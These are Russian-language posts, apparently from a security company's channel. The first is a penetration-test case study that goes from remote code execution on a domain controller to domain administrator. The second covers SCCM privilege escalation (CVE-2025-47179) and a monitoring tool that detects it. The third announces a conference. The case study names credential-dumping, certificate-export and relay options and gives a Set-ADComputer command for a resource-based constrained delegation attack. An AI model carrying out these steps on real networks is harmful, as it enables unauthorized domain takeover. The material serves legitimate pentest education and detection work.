— Есть RCE на контроллере домена (уязвимость в Veritas Backup Exec Agent). Не очень удобно исполнять команды (нет вывода), но можно читать и записывать файлы, запись через экплойт очень медленная.
— Есть возможность подключения по SSH на linux-хост (без root-а).
— Настрой на то, что чем меньше изменений и чем меньше придется чистить затем заказчику, тем лучше.

Варианты решения:

1. Запустить агента Mythic

— c SYSVOL на контроллере домена в другом лесу. Результат: ошибка Access Denied.
— загрузить файл с агентом Mythic через эксплойт. Результат: запустить удалось, но правила файрвола не позволили установить ни bind, ни реверс-соединение.

2. Получить сертификат

— выгрузить сертификат с приватным ключом из хранилища (командлеты Get-ChildItem -Path Cert:\CurrentUser\My\ для получения списка и Export-PfxCertificate для экспорта). Результат: не было сертификатов, для которых разрешен экспорт приватного ключа.
— запросить новый сертификат. Результат: проанализировали шаблоны сертификатов и не нашли такого, чтобы контроллер мог запросить сертификат, использовать его для аутентификации и с возможностью экспорта приватного ключа.

3. Unconstrained delegation

Так как уже были привилегии админа домена в другом лесу, а для контроллеров домена настроено неограниченное делегирование, можно было бы попробовать. Но в trustAttributes не было флага, разрешающего делегирование. Так что даже не пробовали.

4. Прочитать пароль LAPS

Некоторые учетные записи компьютеров имели много привилегий (например, Exchange-сервера или центр сертификации) и получение привилегий админов на этих хостах могло бы помочь продвинуться дальше. Но модули с командлетами Get-LapsADPassword и Get-AdmPwdPassword не были установлены.

5. Релеи

Это была скоре абстрактная идея. Linux-хостов с root-ом не было, и освобождать 445 порт на доменном хосте не хотелось. А служба WebClient для коерса на другой порт на контроллере не была установлена. Кроме того, на LDAP требовалась подпись, а шаблонов сертификатов, подходящих для ESC8, не было.

6. Сохранить учетные данные из реестра

С помощью reg save или Silent Harvester можно было получить учетные данные из реестра. Получили бы NT-хеш контроллера домена и могли бы сделать DCSync. Но пришлось бы сохранять файлы в SYSVOL, чтобы получить к ним доступ с имеющейся учеткой.

7. Resource-based Constrained Delegation

Так как у нас была скомпрометированная учетная запись хоста (её NT-хеш), удалось провести атаку на ограниченное делегирование на основе ресурсов. Модифицировать msDS-AllowedToActOnBehalfOfOtherIdentity учетной записи контроллера:

Set-ADComputer -Identity DC_Name -Properties PrincipalsAllowedToDelegateToAccount owned$

И затем сгенерировать TGS с имперсонацией учетной записи администратора домена или другого контроллера домена. Результат: успех.

8. Rubeus и т.п.

Можно было бы загрузить на контроллер Rubeus или другие утилиты для дампа Kerberos-билетов, но после проверки идеи (1) мы поняли, что загрузить файл будет непросто.

Мораль:
Даже очень простая (на первый взгляд) задача "от RCE на контроллере до администратора домена" может иметь множество решений, если не пойти по первому пришедшему на ум пути.

Microsoft Configuration Manager (SCCM) — это не просто инструмент установки обновлений. Это платформа управления информационной инфраструктурой предприятия в самом широком смысле: здесь и хранилище учётных данных, и возможность централизованного исполнения кода на тысячах устройств одновременно.

Поэтому, будучи взят под контроль злоумышленниками, SCCM превращается в настоящий C2 для дальнейших атак на инфраструктуру. При этом повышение привилегий на SCCM зачастую не ловится традиционным средствами защиты от вредоносного ПО.

Например, логическая уязвимость CVE-2025-47179 позволяет получить полный контроль над SCCM, не используя переполнения буфера, инъекции или обхода аутентификации. SCCM в этом случае работает строго по правилам, которые в него заложили. Просто задокументированное назначение роли и её фактические полномочия противоречат друг другу.

Наши эксперты предлагают выявлять такие атаки с помощью инструмента SCCMInfo, который реализует мониторинг SCCM-сервера через подписку на события WMI. В частности, при эксплуатации уязвимости CVE-2025-47179 инструмент покажет такие события, как создание неизвестным пользователем с ограниченной ролью (CMPivot Administrator) новой записи об административном пользователе и назначение ему роли Full Administrator.

Утилита SCCMInfo отслеживает и несколько других классов WMI-событий, которые могут быть признаками атаки, хотя выглядят как легитимное действие в рамках штатной работы SCCM — поэтому такие атаки не детектируются традиционными средствами защиты.

Подробности — в статье Александра Родченко и Глеба Иванова "Ролевые игры: когда SCCM превращается в С2".

На днях наши эксперты поучаствовали в одной скромной, зато очень неформальной ИБ-конференции под названием ЁPRSTCON.

Основной темой выступлений технического трека стали проблемы информационной безопасности в эпоху всеобщего помешательства на AI. Но были доклады и на другие интересные темы. Например, о том,

— почему до сих пор можно делать RCE через умерший IE,
— откуда в RDP-логах мистический артефакт ::%16777216,
— зачем нужно писать собственный сканер уязвимостей,
— как устроены хакерские сообщества в разных странах,
— как реверсить микроконтроллеры AVR.

Поддерживая дух этой неформальной тусовки, мы не будем назвать имена крутых докладчиков и их компании, а просто дадим вам главную ссылку — где можно посмотреть видеозаписи всех технических докладов, с текстовыми транскриптами и слайдами:

https://www.yoprstcon.ru/articles_manual_locB_html/

А ещё на конференции был гуманитарный трек — там рассказывали, как искусственный интеллект вытесняет музыкантов и писателей, какие психозы возникают от долгого общения с LLM-агентами, и каким методам родительской заботы можно поучиться у африканских лягушек. Записи гуманитарных докладов здесь:
https://www.yoprstcon.ru/articles_manual_locA_html/